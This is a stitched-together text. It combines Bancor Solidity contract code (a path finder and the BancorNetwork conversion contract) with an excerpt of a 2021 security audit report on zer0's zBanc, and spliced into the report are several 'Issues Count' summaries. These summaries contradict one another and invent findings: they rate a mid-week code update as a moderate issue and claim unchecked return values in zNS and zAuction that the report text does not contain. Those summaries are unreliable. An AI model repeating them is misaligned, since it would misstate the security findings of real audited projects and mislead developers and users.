getShortestPath(sourcePath, targetPath); } /** * @dev generates a conversion path between a given token and the anchor token * * @param _token address of the token * @param _converterRegistry address of the converter registry * * @return a path from the input token to the anchor token */ function getPath(IERC20Token _token, IConverterRegistry _converterRegistry) private view returns (address[] memory) { if (_token == anchorToken) return getInitialArray(address(_token)); address[] memory anchors; if (_converterRegistry.isAnchor(address(_token))) anchors = getInitialArray(address(_token)); else anchors = _converterRegistry.getConvertibleTokenAnchors(_token); for (uint256 n = 0; n < anchors.length; n++) { IConverter converter = IConverter(payable(IConverterAnchor(anchors[n]).owner())); uint256 connectorTokenCount = converter.connectorTokenCount(); for (uint256 i = 0; i < connectorTokenCount; i++) { IERC20Token connectorToken = converter.connectorTokens(i); if (connectorToken != _token) { address[] memory path = getPath(connectorToken, _converterRegistry); if (path.length > 0) return getExtendedArray(address(_token), anchors[n], path); } } } return new address[](0); } /** * @dev merges two paths with a common suffix into one * * @param _sourcePath address of the source path * @param _targetPath address of the target path * * @return merged path */ function getShortestPath(address[] memory _sourcePath, address[] memory _targetPath) private pure returns (address[] memory) { if (_sourcePath.length > 0 && _targetPath.length > 0) { uint256 i = _sourcePath.length; uint256 j = _targetPath.length; while (i > 0 && j > 0 && _sourcePath[i - 1] == _targetPath[j - 1]) { i--; j--; } address[] memory path = new address[](i + j + 1); for (uint256 m = 0; m <= i; m++) path[m] = _sourcePath[m]; for (uint256 n = j; n > 0; n--) path[path.length - n] = _targetPath[n - 1]; uint256 length = 0; for (uint256 p = 0; p < path.length; p += 1) { for (uint256 q = p + 2; q < path.length - p % 2; q += 2) { if (path[p] == path[q]) p = q; } path[length++] = path[p]; } return getPartialArray(path, length); } return new address[](0); } /** * @dev creates a new array containing a single item * * @param _item item * * @return initial array */ function getInitialArray(address _item) private pure returns (address[] memory) { address[] memory array = new address[](1); array[0] = _item; return array; } /** * @dev prepends two items to the beginning of an array * * @param _item0 first item * @param _item1 second item * @param _array initial array * * @return extended array */ function getExtendedArray(address _item0, address _item1, address[] memory _array) private pure returns (address[] memory) { address[] memory array = new address[](2 + _array.length); array[0] = _item0; array[1] = _item1; for (uint256 i = 0; i < _array.length; i++) array[2 + i] = _array[i]; return array; } /** * @dev extracts the prefix of a given array * * @param _array given array * @param _length prefix length * * @return partial array */ function getPartialArray(address[] memory _array, uint256 _length) private pure returns (address[] memory) { address[] memory array = new address[](_length); for (uint256 i = 0; i < _length; i++) array[i] = _array[i]; return array; } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./token/interfaces/IERC20Token.sol"; /* Conversion Path Finder interface */ interface IConversionPathFinder { function findPath(IERC20Token _sourceToken, IERC20Token _targetToken) external view returns (address[] memory); }
Zer0 - zBanc Zer0 - zBanc Date Date May 2021 Lead Auditor Lead Auditor David Oz Kashi Co-auditors Co-auditors Martin Ortner 1 Executive Summary 1 Executive Summary This report is part of a series of reports presenting the results of our engagement with zer0 zer0 to review zNS, zAuction, and zBanc, zDAO Token zNS, zAuction, and zBanc, zDAO Token . The review was conducted over four weeks, from 19 April 2021 19 April 2021 to 21 May 2021 21 May 2021 . A total of 2x4 person-weeks were spent. 1.1 Layout 1.1 Layout It was requested to present the results for the four code-bases under review in individual reports. Links to the individual reports can be found below. The Executive Summary and Scope sections are shared amongst the individual reports. They provide a general overview of the engagement and summarize scope changes and insights into how time was spent during the audit. The section Recommendations and Findings list the respective findings for the component under review. The following reports were delivered: zNS zAuction zBanc zDAO-Token 1.2 Assessment Log 1.2 Assessment Log In the first week, the assessment team focussed its work on the zNS and zAuction systems. Details on the scope for the components was set by the client and can be found in the next section. A walkthrough session for the systems in scope was requested, to understand the fundamental design decisions of the system as some details were not found in the specification/documentation. Initial security findings were also shared with the client during this session. It was agreed to deliver a preliminary report sharing details of the findings during the end-of-week sync-up. This sync-up is also used to set the focus/scopefor the next week. In the second week, the assessment team focussed its work on zBanc a modification of the bancor protocol solidity contracts. The initial code revision under audit ( zBanc 48da0ac1eebbe31a74742f1ae4281b156f03a4bc ) was updated half-way into the week on Wednesday to zBanc ( 3d6943e82c167c1ae90fb437f9e3ed1a7a7a94c4 ). Preliminary findings were shared during a sync-up discussing the changing codebase under review. Thursday morning the client reported that work on the zDAO Token finished and it was requested to put it in scope for this week as the token is meant to be used soon. The assessment team agreed to have a brief look at the codebase, reporting any obvious security issues at best effort until the end-of-week sync-up meeting (1day). Due to the very limited left until the weekly sync-up meeting, it was recommended to extend the review into next week as. Finally it was agreed to update and deliver the preliminary report sharing details of the findings during the end-of-week sync- up. This sync-up is also used to set the focus/scope for the next week. In the third week, the assessment team continued working on zDAO Token on Monday. We provided a heads-up that the snapshot functionality of zDAO Token was not working the same day. On Tuesday focus shifted towards reviewing changes to zAuction ( 135b2aaddcfc70775fd1916518c2cc05106621ec , remarks ). On the same day the client provided an updated review commit for zDAO Token ( 81946d451e8a9962b0c0d6fc8222313ec115cd53 ) addressing the issue we reported on Monday. The client provided an updated review commit for zNS ( ab7d62a7b8d51b04abea895e241245674a640fc1 ) on Wednesday and zNS ( bc5fea725f84ae4025f5fb1a9f03fb7e9926859a ) on Thursday. As can be inferred from this timeline various parts of the codebases were undergoing changes while the review was performed which introduces inefficiencies and may have an impact on the review quality (reviewing frozen codebase vs. moving target). As discussed with the client we highly recommend to plan ahead for security activities, create a dedicated role that coordinates security on the team, and optimize the software development lifecycle to explicitly include security activities and key milestones, ensuring that code is frozen, quality tested, and security review readiness is established ahead of any security activities. It should also be noted that code-style and quality varies a lot for the different repositories under review which might suggest that there is a need to better anchor secure development practices in the development lifecycle. After a one-week hiatus the assessment team continued reviewing the changes for zAuction and zBanc . The findings were initially provided with one combined report and per client request split into four individual reports. 2 Scope 2 Scope Our review focused on the following components and code revisions: 2.1 Objectives 2.1 Objectives Together with the zer0 team, we identified the following priorities for our review: 1 . Ensure that the system is implemented consistently with the intended functionality, and without unintended edge cases. 2 . Identify known vulnerabilities particular to smart contract systems, as outlined in ourSmart Contract Best Practices , and the Smart Contract Weakness Classification Registry . 2.2 Week - 1 2.2 Week - 1 zNS ( b05e503ea1ee87dbe62b1d58426aaa518068e395 ) ( scope doc ) ( 1 , 2 ) zAuction ( 50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72 ) ( scope doc ) ( 1 , 2 ) Original Scope overview document 2.3 Week - 2 2.3 Week - 2 zBanc ( 48da0ac1eebbe31a74742f1ae4281b156f03a4bc ) initial commit under review zBanc ( 3d6943e82c167c1ae90fb437f9e3ed1a7a7a94c4 ) updated commit under review (mid of week) ( scope doc ) ( 1 ) Files in Scope: contracts/converter/types/dynamic-liquid-token/DynamicLiquidTokenConverter contracts/converter/types/dynamic-liquid-token/DynamicLiquidTokenConverterFactory contracts/converter/ConverterUpgrader.sol (added handling new converterType 3) zDAO token provided on thursday ( scope doc ) ( 1 ) Files in Scope: ZeroDAOToken.sol MerkleTokenAirdrop.sol MerkleTokenVesting.sol MerkleDistributor.sol TokenVesting.sol And any relevant Interfaces / base contracts The zDAO review in week two was performed best effort from Thursday to Friday attempting to surface any obvious issues until the end-of-week sync-up meeting. 2.4 Week - 3 2.4 Week - 3 Continuing on zDAO token ( 1b678cb3fc4a8d2ff3ef2d9c5625dff91f6054f6 ) Updated review commit for zAuction ( 135b2aaddcfc70775fd1916518c2cc05106621ec , 1 ) on Monday Updated review commit for zDAO Token ( 81946d451e8a9962b0c0d6fc8222313ec115cd53 ) on Tuesday Updated review commit for zNS ( ab7d62a7b8d51b04abea895e241245674a640fc1 ) on Wednesday Updated review commit for zNS ( bc5fea725f84ae4025f5fb1a9f03fb7e9926859a ) on Thursday 2.5 Hiatus - 1 Week 2.5 Hiatus - 1 Week The assessment continues for a final week after a one-week long hiatus. 2.6 Week - 4 2.6 Week - 4 Updated review commit for zAuction ( 2f92aa1c9cd0c53ec046340d35152460a5fe7dd0 , 1 ) Updated review commit for zAuction addressing our remarks Updated review commit for zBanc ( ff3d91390099a4f729fe50c846485589de4f8173 , 1 )3 System Overview 3 System Overview This section describes the top-level/deployable contracts, their inheritance structure and interfaces, actors, permissions and important contract interactions of the initial system under review. This section does not take any fundamental changes into account that were introduced during or after the review was conducted. Contracts are depicted as boxes. Public reachable interface methods are outlined as rows in the box. The
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 1 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): The snapshot functionality of zDAO Token was not working. 2.b Fix (one line with code reference): Fixed the snapshot functionality of zDAO Token. Moderate 3.a Problem (one line with code reference): zBanc was updated half-way into the week on Wednesday. 3.b Fix (one line with code reference): Updated zBanc to the latest version. Major None Critical None Observations - The review was conducted over four weeks, from 19 April 2021 to 21 May 2021. - A total of 2x4 person-weeks were spent. - The assessment team focussed its work on the zNS and zAuction systems in the first week. - The assessment team focussed its work on zBanc in the second week. - The assessment team continued working on zDAO Token in the third week. Conclusion The audit of zNS, zAuction, z Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the system is implemented consistently with the intended functionality, and without unintended edge cases. 2.b Fix: Review focused on the following components and code revisions. Moderate: None Major: None Critical: None Observations: Code-style and quality varies a lot for the different repositories under review which might suggest that there is a need to better anchor secure development practices in the development lifecycle. Conclusion: We highly recommend to plan ahead for security activities, create a dedicated role that coordinates security on the team, and optimize the software development lifecycle to explicitly include security activities and key milestones, ensuring that code is frozen, quality tested, and security review readiness is established ahead of any security activities. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 2 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unchecked return value in zNS (b05e503ea1ee87dbe62b1d58426aaa518068e395, scope doc, 1) 2.b Fix: Check return value in zNS (b05e503ea1ee87dbe62b1d58426aaa518068e395, scope doc, 1) Moderate Issues: 3.a Problem: Unchecked return value in zAuction (50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72, scope doc, 1) 3.b Fix: Check return value in zAuction (50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72, scope doc, 1) Major Issues: None Critical Issues: None Observations: - The review was conducted best effort from Thursday to Friday attempting to
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./IConversionPathFinder.sol"; import "./converter/interfaces/IConverter.sol"; import "./converter/interfaces/IConverterAnchor.sol"; import "./converter/interfaces/IBancorFormula.sol"; import "./utility/ContractRegistryClient.sol"; import "./utility/ReentrancyGuard.sol"; import "./utility/TokenHolder.sol"; import "./utility/SafeMath.sol"; import "./token/interfaces/IEtherToken.sol"; import "./token/interfaces/IDSToken.sol"; import "./bancorx/interfaces/IBancorX.sol"; // interface of older converters for backward compatibility interface ILegacyConverter { function change(IERC20Token _sourceToken, IERC20Token _targetToken, uint256 _amount, uint256 _minReturn) external returns (uint256); } /** * @dev The BancorNetwork contract is the main entry point for Bancor token conversions. * It also allows for the conversion of any token in the Bancor Network to any other token in a single * transaction by providing a conversion path. * * A note on Conversion Path: Conversion path is a data structure that is used when converting a token * to another token in the Bancor Network, when the conversion cannot necessarily be done by a single * converter and might require multiple 'hops'. * The path defines which converters should be used and what kind of conversion should be done in each step. * * The path format doesn't include complex structure; instead, it is represented by a single array * in which each 'hop' is represented by a 2-tuple - converter anchor & target token. * In addition, the first element is always the source token. * The converter anchor is only used as a pointer to a converter (since converter addresses are more * likely to change as opposed to anchor addresses). * * Format: * [source token, converter anchor, target token, converter anchor, target token...] */ contract BancorNetwork is TokenHolder, ContractRegistryClient, ReentrancyGuard { using SafeMath for uint256; uint256 private constant PPM_RESOLUTION = 1000000; IERC20Token private constant ETH_RESERVE_ADDRESS = IERC20Token(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); struct ConversionStep { IConverter converter; IConverterAnchor anchor; IERC20Token sourceToken; IERC20Token targetToken; address payable beneficiary; bool isV28OrHigherConverter; bool processAffiliateFee; } uint256 public maxAffiliateFee = 30000; // maximum affiliate-fee mapping (IERC20Token => bool) public etherTokens; // list of all supported ether tokens /** * @dev triggered when a conversion between two tokens occurs * * @param _smartToken anchor governed by the converter * @param _fromToken source ERC20 token * @param _toToken target ERC20 token * @param _fromAmount amount converted, in the source token * @param _toAmount amount returned, minus conversion fee * @param _trader wallet that initiated the trade */ event Conversion( IConverterAnchor indexed _smartToken, IERC20Token indexed _fromToken, IERC20Token indexed _toToken, uint256 _fromAmount, uint256 _toAmount, address _trader ); /** * @dev initializes a new BancorNetwork instance * * @param _registry address of a contract registry contract */ constructor(IContractRegistry _registry) ContractRegistryClient(_registry) public { etherTokens[ETH_RESERVE_ADDRESS] = true; } /** * @dev allows the owner to update the maximum affiliate-fee * * @param _maxAffiliateFee maximum affiliate-fee */ function setMaxAffiliateFee(uint256 _maxAffiliateFee) public ownerOnly { require(_maxAffiliateFee <= PPM_RESOLUTION, "ERR_INVALID_AFFILIATE_FEE"); maxAffiliateFee = _maxAffiliateFee; } /** * @dev allows the owner to register/unregister ether tokens * * @param _token ether token contract address * @param _register true to register, false to unregister */ function registerEtherToken(IEtherToken _token, bool _register) public ownerOnly validAddress(address(_token)) notThis(address(_token)) { etherTokens[_token] = _register; } /** * @dev returns the conversion path between two tokens in the network * note that this method is quite expensive in terms of gas and should generally be called off-chain * * @param _sourceToken source token address * @param _targetToken target token address * * @return conversion path between the two tokens */ function conversionPath(IERC20Token _sourceToken, IERC20Token _targetToken) public view returns (address[] memory) { IConversionPathFinder pathFinder = IConversionPathFinder(addressOf(CONVERSION_PATH_FINDER)); return pathFinder.findPath(_sourceToken, _targetToken); } /** * @dev returns the expected target amount of converting a given amount on a given path * note that there is no support for circular paths * * @param _path conversion path (see conversion path format above) * @param _amount amount of _path[0] tokens received from the sender * * @return expected target amount */ function rateByPath(address[] memory _path, uint256 _amount) public view returns (uint256) { uint256 amount; uint256 fee; uint256 supply; uint256 balance; uint32 weight; IConverter converter; IBancorFormula formula = IBancorFormula(addressOf(BANCOR_FORMULA)); amount = _amount; // verify that the number of elements is larger than 2 and odd require(_path.length > 2 && _path.length % 2 == 1, "ERR_INVALID_PATH"); // iterate over the conversion path for (uint256 i = 2; i < _path.length; i += 2) { IERC20Token sourceToken = IERC20Token(_path[i - 2]); address anchor = _path[i - 1]; IERC20Token targetToken = IERC20Token(_path[i]); converter = IConverter(payable(IConverterAnchor(anchor).owner())); // backward compatibility sourceToken = getConverterTokenAddress(converter, sourceToken); targetToken = getConverterTokenAddress(converter, targetToken); if (address(targetToken) == anchor) { // buy the anchor // check if the current anchor has changed if (i < 3 || anchor != _path[i - 3]) supply = IDSToken(anchor).totalSupply(); // get the amount & the conversion fee balance = converter.getConnectorBalance(sourceToken); (, weight, , , ) = converter.connectors(sourceToken); amount = formula.purchaseTargetAmount(supply, balance, weight, amount); fee = amount.mul(converter.conversionFee()).div(PPM_RESOLUTION); amount -= fee; // update the anchor supply for the next iteration supply = supply.add(amount); } else if (address(sourceToken) == anchor) { // sell the anchor // check if the current anchor has changed if (i < 3 || anchor != _path[i - 3]) supply = IDSToken(anchor).totalSupply(); // get the amount & the conversion fee balance = converter.getConnectorBalance(targetToken); (, weight, , , ) = converter.connectors(targetToken); amount = formula.saleTargetAmount(supply, balance, weight, amount); fee = amount.mul(converter.conversionFee()).div(PPM_RESOLUTION); amount -= fee; // update the anchor supply for the next iteration supply = supply.sub(amount); } else { // cross reserve conversion (amount, fee) = getReturn(converter, sourceToken, targetToken, amount); } } return amount; } /** * @dev converts the token to any other token in the bancor network by following * a predefined conversion path and transfers the result tokens to a target account * affiliate account/fee can also be passed in to receive a conversion fee (on top of the liquidity provider fees) * note that the network should already have been given allowance of the source token (if not ETH) * * @param _path conversion path, see conversion path format above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _beneficiary account that will receive the conversion result or 0x0 to send the result to the sender account * @param _affiliateAccount wallet address to receive the affiliate fee or 0x0 to disable affiliate fee * @param _affiliateFee affiliate fee in PPM or 0 to disable affiliate fee * * @return amount of tokens received from the conversion */ function convertByPath( address[] memory _path, uint256 _amount, uint256 _minReturn, address payable _beneficiary, address _affiliateAccount, uint256 _affiliateFee) public payable protected greaterThanZero(_minReturn) returns (uint256) { // verify that the path contrains at least a single 'hop' and that the number of elements is odd require(_path.length > 2 && _path.length % 2 == 1, "ERR_INVALID_PATH"); // validate msg.value and prepare the source token for the conversion handleSourceToken(IERC20Token(_path[0]), IConverterAnchor(_path[1]), _amount); // check if affiliate fee is enabled bool affiliateFeeEnabled = false; if (address(_affiliateAccount) == address(0)) { require(_affiliateFee == 0, "ERR_INVALID_AFFILIATE_FEE"); } else { require(0 < _affiliateFee && _affiliateFee <= maxAffiliateFee, "ERR_INVALID_AFFILIATE_FEE"); affiliateFeeEnabled = true; } // check if beneficiary is set address payable beneficiary = msg.sender; if (_beneficiary != address(0)) beneficiary = _beneficiary; // convert and get the resulting amount ConversionStep[] memory data = createConversionData(_path, beneficiary, affiliateFeeEnabled); uint256 amount = doConversion(data, _amount, _minReturn, _affiliateAccount, _affiliateFee); // handle the conversion target tokens handleTargetToken(data, amount, beneficiary); return amount; } /** * @dev converts any other token to BNT in the bancor network by following a predefined conversion path and transfers the result to an account on a different blockchain * note that the network should already have been given allowance of the source token (if not ETH) * * @param _path conversion path, see conversion path format above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _targetBlockchain blockchain BNT will be issued on * @param _targetAccount address/account on the target blockchain to send the BNT to * @param _conversionId pre-determined unique (if non zero) id which refers to this transaction * * @return the amount of BNT received from this conversion */ function xConvert( address[] memory _path, uint256 _amount, uint256 _minReturn, bytes32 _targetBlockchain, bytes32 _targetAccount, uint256 _conversionId ) public payable returns (uint256) { return xConvert2(_path, _amount, _minReturn, _targetBlockchain, _targetAccount, _conversionId, address(0), 0); } /** * @dev converts any other token to BNT in the bancor network by following a predefined conversion path and transfers the result to an account on a different blockchain * note that the network should already have been given allowance of the source token (if not ETH) * * @param _path conversion path, see conversion path format above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _targetBlockchain blockchain BNT will be issued on * @param _targetAccount address/account on the target blockchain to send the BNT to * @param _conversionId pre-determined unique (if non zero) id which refers to this transaction * @param _affiliateAccount affiliate account * @param _affiliateFee affiliate fee in PPM * * @return the amount of BNT received from this conversion */ function xConvert2( address[] memory _path, uint256 _amount, uint256 _minReturn, bytes32 _targetBlockchain, bytes32 _targetAccount, uint256 _conversionId, address _affiliateAccount, uint256 _affiliateFee ) public payable greaterThanZero(_minReturn) returns (uint256) { IERC20Token targetToken = IERC20Token(_path[_path.length - 1]); IBancorX bancorX = IBancorX(addressOf(BANCOR_X)); // verify that the destination token is BNT require(targetToken == IERC20Token(addressOf(BNT_TOKEN)), "ERR_INVALID_TARGET_TOKEN"); // convert and get the resulting amount uint256 amount = convertByPath(_path, _amount, _minReturn, payable(address(this)), _affiliateAccount, _affiliateFee); // grant BancorX allowance ensureAllowance(targetToken, address(bancorX), amount); // transfer the resulting amount to BancorX bancorX.xTransfer(_targetBlockchain, _targetAccount, amount, _conversionId); return amount; } /** * @dev allows a user to convert a token that was sent from another blockchain into any other * token on the BancorNetwork * ideally this transaction is created before the previous conversion is even complete, so * so the input amount isn't known at that point - the amount is actually take from the * BancorX contract directly by specifying the conversion id * * @param _path conversion path * @param _bancorX address of the BancorX contract for the source token * @param _conversionId pre-determined unique (if non zero) id which refers to this conversion * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero * @param _beneficiary wallet to receive the conversion result * * @return amount of tokens received from the conversion */ function completeXConversion(address[] memory _path, IBancorX _bancorX, uint256 _conversionId, uint256 _minReturn, address payable _beneficiary) public returns (uint256) { // verify that the source token is the BancorX token require(IERC20Token(_path[0]) == _bancorX.token(), "ERR_INVALID_SOURCE_TOKEN"); // get conversion amount from BancorX contract uint256 amount = _bancorX.getXTransferAmount(_conversionId, msg.sender); // perform the conversion return convertByPath(_path, amount, _minReturn, _beneficiary, address(0), 0); } /** * @dev executes the actual conversion by following the conversion path * * @param _data conversion data, see ConversionStep struct above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _affiliateAccount affiliate account * @param _affiliateFee affiliate fee in PPM * * @return amount of tokens received from the conversion */ function doConversion( ConversionStep[] memory _data, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) private returns (uint256) { uint256 toAmount; uint256 fromAmount = _amount; // iterate over the conversion data for (uint256 i = 0; i < _data.length; i++) { ConversionStep memory stepData = _data[i]; // newer converter if (stepData.isV28OrHigherConverter) { // transfer the tokens to the converter only if the network contract currently holds the tokens // not needed with ETH or if it's the first conversion step if (i != 0 && _data[i - 1].beneficiary == address(this) && !etherTokens[stepData.sourceToken]) safeTransfer(stepData.sourceToken, address(stepData.converter), fromAmount); } // older converter // if the source token is the liquid token, no need to do any transfers as the converter controls it else if (stepData.sourceToken != IDSToken(address(stepData.anchor))) { // grant allowance for it to transfer the tokens from the network contract ensureAllowance(stepData.sourceToken, address(stepData.converter), fromAmount); } // do the conversion if (!stepData.isV28OrHigherConverter) toAmount = ILegacyConverter(address(stepData.converter)).change(stepData.sourceToken, stepData.targetToken, fromAmount, 1); else if (etherTokens[stepData.sourceToken]) toAmount = stepData.converter.convert{ value: msg.value }(stepData.sourceToken, stepData.targetToken, fromAmount, msg.sender, stepData.beneficiary); else toAmount = stepData.converter.convert(stepData.sourceToken, stepData.targetToken, fromAmount, msg.sender, stepData.beneficiary); // pay affiliate-fee if needed if (stepData.processAffiliateFee) { uint256 affiliateAmount = toAmount.mul(_affiliateFee).div(PPM_RESOLUTION); require(stepData.targetToken.transfer(_affiliateAccount, affiliateAmount), "ERR_FEE_TRANSFER_FAILED"); toAmount -= affiliateAmount; } emit Conversion(stepData.anchor, stepData.sourceToken, stepData.targetToken, fromAmount, toAmount, msg.sender); fromAmount = toAmount; } // ensure the trade meets the minimum requested amount require(toAmount >= _minReturn, "ERR_RETURN_TOO_LOW"); return toAmount; } /** * @dev validates msg.value and prepares the conversion source token for the conversion * * @param _sourceToken source token of the first conversion step * @param _anchor converter anchor of the first conversion step * @param _amount amount to convert from, in the source token */ function handleSourceToken(IERC20Token _sourceToken, IConverterAnchor _anchor, uint256 _amount) private { IConverter firstConverter = IConverter(payable(_anchor.owner())); bool isNewerConverter = isV28OrHigherConverter(firstConverter); // ETH if (msg.value > 0) { // validate msg.value require(msg.value == _amount, "ERR_ETH_AMOUNT_MISMATCH"); // EtherToken converter - deposit the ETH into the EtherToken // note that it can still be a non ETH converter if the path is wrong // but such conversion will simply revert if (!isNewerConverter) IEtherToken(address(getConverterEtherTokenAddress(firstConverter))).deposit{ value: msg.value }(); } // EtherToken else if (etherTokens[_sourceToken]) { // claim the tokens - if the source token is ETH reserve, this call will fail // since in that case the transaction must be sent with msg.value safeTransferFrom(_sourceToken, msg.sender, address(this), _amount); // ETH converter - withdraw the ETH if (isNewerConverter) IEtherToken(address(_sourceToken)).withdraw(_amount); } // other ERC20 token else { // newer converter - transfer the tokens from the sender directly to the converter // otherwise claim the tokens if (isNewerConverter) safeTransferFrom(_sourceToken, msg.sender, address(firstConverter), _amount); else safeTransferFrom(_sourceToken, msg.sender, address(this), _amount); } } /** * @dev handles the conversion target token if the network still holds it at the end of the conversion * * @param _data conversion data, see ConversionStep struct above * @param _amount conversion target amount * @param _beneficiary wallet to receive the conversion result */ function handleTargetToken(ConversionStep[] memory _data, uint256 _amount, address payable _beneficiary) private { ConversionStep memory stepData = _data[_data.length - 1]; // network contract doesn't hold the tokens, do nothing if (stepData.beneficiary != address(this)) return; IERC20Token targetToken = stepData.targetToken; // ETH / EtherToken if (etherTokens[targetToken]) { // newer converter should send ETH directly to the beneficiary assert(!stepData.isV28OrHigherConverter); // EtherToken converter - withdraw the ETH and transfer to the beneficiary IEtherToken(address(targetToken)).withdrawTo(_beneficiary, _amount); } // other ERC20 token else { safeTransfer(targetToken, _beneficiary, _amount); } } /** * @dev creates a memory cache of all conversion steps data to minimize logic and external calls during conversions * * @param _conversionPath conversion path, see conversion path format above * @param _beneficiary wallet to receive the conversion result * @param _affiliateFeeEnabled true if affiliate fee was requested by the sender, false if not * * @return cached conversion data to be ingested later on by the conversion flow */ function createConversionData(address[] memory _conversionPath, address payable _beneficiary, bool _affiliateFeeEnabled) private view returns (ConversionStep[] memory) { ConversionStep[] memory data = new ConversionStep[](_conversionPath.length / 2); bool affiliateFeeProcessed = false; IERC20Token bntToken = IERC20Token(addressOf(BNT_TOKEN)); // iterate the conversion path and create the conversion data for each step uint256 i; for (i = 0; i < _conversionPath.length - 1; i += 2) { IConverterAnchor anchor = IConverterAnchor(_conversionPath[i + 1]); IConverter converter = IConverter(payable(anchor.owner())); IERC20Token targetToken = IERC20Token(_conversionPath[i + 2]); // check if the affiliate fee should be processed in this step bool processAffiliateFee = _affiliateFeeEnabled && !affiliateFeeProcessed && targetToken == bntToken; if (processAffiliateFee) affiliateFeeProcessed = true; data[i / 2] = ConversionStep({ // set the converter anchor anchor: anchor, // set the converter converter: converter, // set the source/target tokens sourceToken: IERC20Token(_conversionPath[i]), targetToken: targetToken, // requires knowledge about the next step, so initialize in the next phase beneficiary: address(0), // set flags isV28OrHigherConverter: isV28OrHigherConverter(converter), processAffiliateFee: processAffiliateFee }); } // ETH support // source is ETH ConversionStep memory stepData = data[0]; if (etherTokens[stepData.sourceToken]) { // newer converter - replace the source token address with ETH reserve address if (stepData.isV28OrHigherConverter) stepData.sourceToken = ETH_RESERVE_ADDRESS; // older converter - replace the source token with the EtherToken address used by the converter else stepData.sourceToken = getConverterEtherTokenAddress(stepData.converter); } // target is ETH stepData = data[data.length - 1]; if (etherTokens[stepData.targetToken]) { // newer converter - replace the target token address with ETH reserve address if (stepData.isV28OrHigherConverter) stepData.targetToken = ETH_RESERVE_ADDRESS; // older converter - replace the target token with the EtherToken address used by the converter else stepData.targetToken = getConverterEtherTokenAddress(stepData.converter); } // set the beneficiary for each step for (i = 0; i < data.length; i++) { stepData = data[i]; // first check if the converter in this step is newer as older converters don't even support the beneficiary argument if (stepData.isV28OrHigherConverter) { // if affiliate fee is processed in this step, beneficiary is the network contract if (stepData.processAffiliateFee) stepData.beneficiary = payable(address(this)); // if it's the last step, beneficiary is the final beneficiary else if (i == data.length - 1) stepData.beneficiary = _beneficiary; // if the converter in the next step is newer, beneficiary is the next converter else if (data[i + 1].isV28OrHigherConverter) stepData.beneficiary = address(data[i + 1].converter); // the converter in the next step is older, beneficiary is the network contract else stepData.beneficiary = payable(address(this)); } else { // converter in this step is older, beneficiary is the network contract stepData.beneficiary = payable(address(this)); } } return data; } /** * @dev utility, checks whether allowance for the given spender exists and approves one if it doesn't. * Note that we use the non standard erc-20 interface in which `approve` has no return value so that * this function will work for both standard and non standard tokens * * @param _token token to check the allowance in * @param _spender approved address * @param _value allowance amount */ function ensureAllowance(IERC20Token _token, address _spender, uint256 _value) private { uint256 allowance = _token.allowance(address(this), _spender); if (allowance < _value) { if (allowance > 0) safeApprove(_token, _spender, 0); safeApprove(_token, _spender, _value); } } // legacy - returns the address of an EtherToken used by the converter function getConverterEtherTokenAddress(IConverter _converter) private view returns (IERC20Token) { uint256 reserveCount = _converter.connectorTokenCount(); for (uint256 i = 0; i < reserveCount; i++) { IERC20Token reserveTokenAddress = _converter.connectorTokens(i); if (etherTokens[reserveTokenAddress]) return reserveTokenAddress; } return ETH_RESERVE_ADDRESS; } // legacy - if the token is an ether token, returns the ETH reserve address // used by the converter, otherwise returns the input token address function getConverterTokenAddress(IConverter _converter, IERC20Token _token) private view returns (IERC20Token) { if (!etherTokens[_token]) return _token; if (isV28OrHigherConverter(_converter)) return ETH_RESERVE_ADDRESS; return getConverterEtherTokenAddress(_converter); } bytes4 private constant GET_RETURN_FUNC_SELECTOR = bytes4(keccak256("getReturn(address,address,uint256)")); // using a static call to get the return from older converters function getReturn(IConverter _dest, IERC20Token _sourceToken, IERC20Token _targetToken, uint256 _amount) internal view returns (uint256, uint256) { bytes memory data = abi.encodeWithSelector(GET_RETURN_FUNC_SELECTOR, _sourceToken, _targetToken, _amount); (bool success, bytes memory returnData) = address(_dest).staticcall(data); if (success) { if (returnData.length == 64) { return abi.decode(returnData, (uint256, uint256)); } if (returnData.length == 32) { return (abi.decode(returnData, (uint256)), 0); } } return (0, 0); } bytes4 private constant IS_V28_OR_HIGHER_FUNC_SELECTOR = bytes4(keccak256("isV28OrHigher()")); // using a static call to identify converter version // can't rely on the version number since the function had a different signature in older converters function isV28OrHigherConverter(IConverter _converter) internal view returns (bool) { bytes memory data = abi.encodeWithSelector(IS_V28_OR_HIGHER_FUNC_SELECTOR); (bool success, bytes memory returnData) = address(_converter).staticcall{ gas: 4000 }(data); if (success && returnData.length == 32) { return abi.decode(returnData, (bool)); } return false; } /** * @dev deprecated, backward compatibility */ function getReturnByPath(address[] memory _path, uint256 _amount) public view returns (uint256, uint256) { return (rateByPath(_path, _amount), 0); } /** * @dev deprecated, backward compatibility */ function convert(address[] memory _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), address(0), 0); } /** * @dev deprecated, backward compatibility */ function convert2( address[] memory _path, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) public payable returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), _affiliateAccount, _affiliateFee); } /** * @dev deprecated, backward compatibility */ function convertFor(address[] memory _path, uint256 _amount, uint256 _minReturn, address 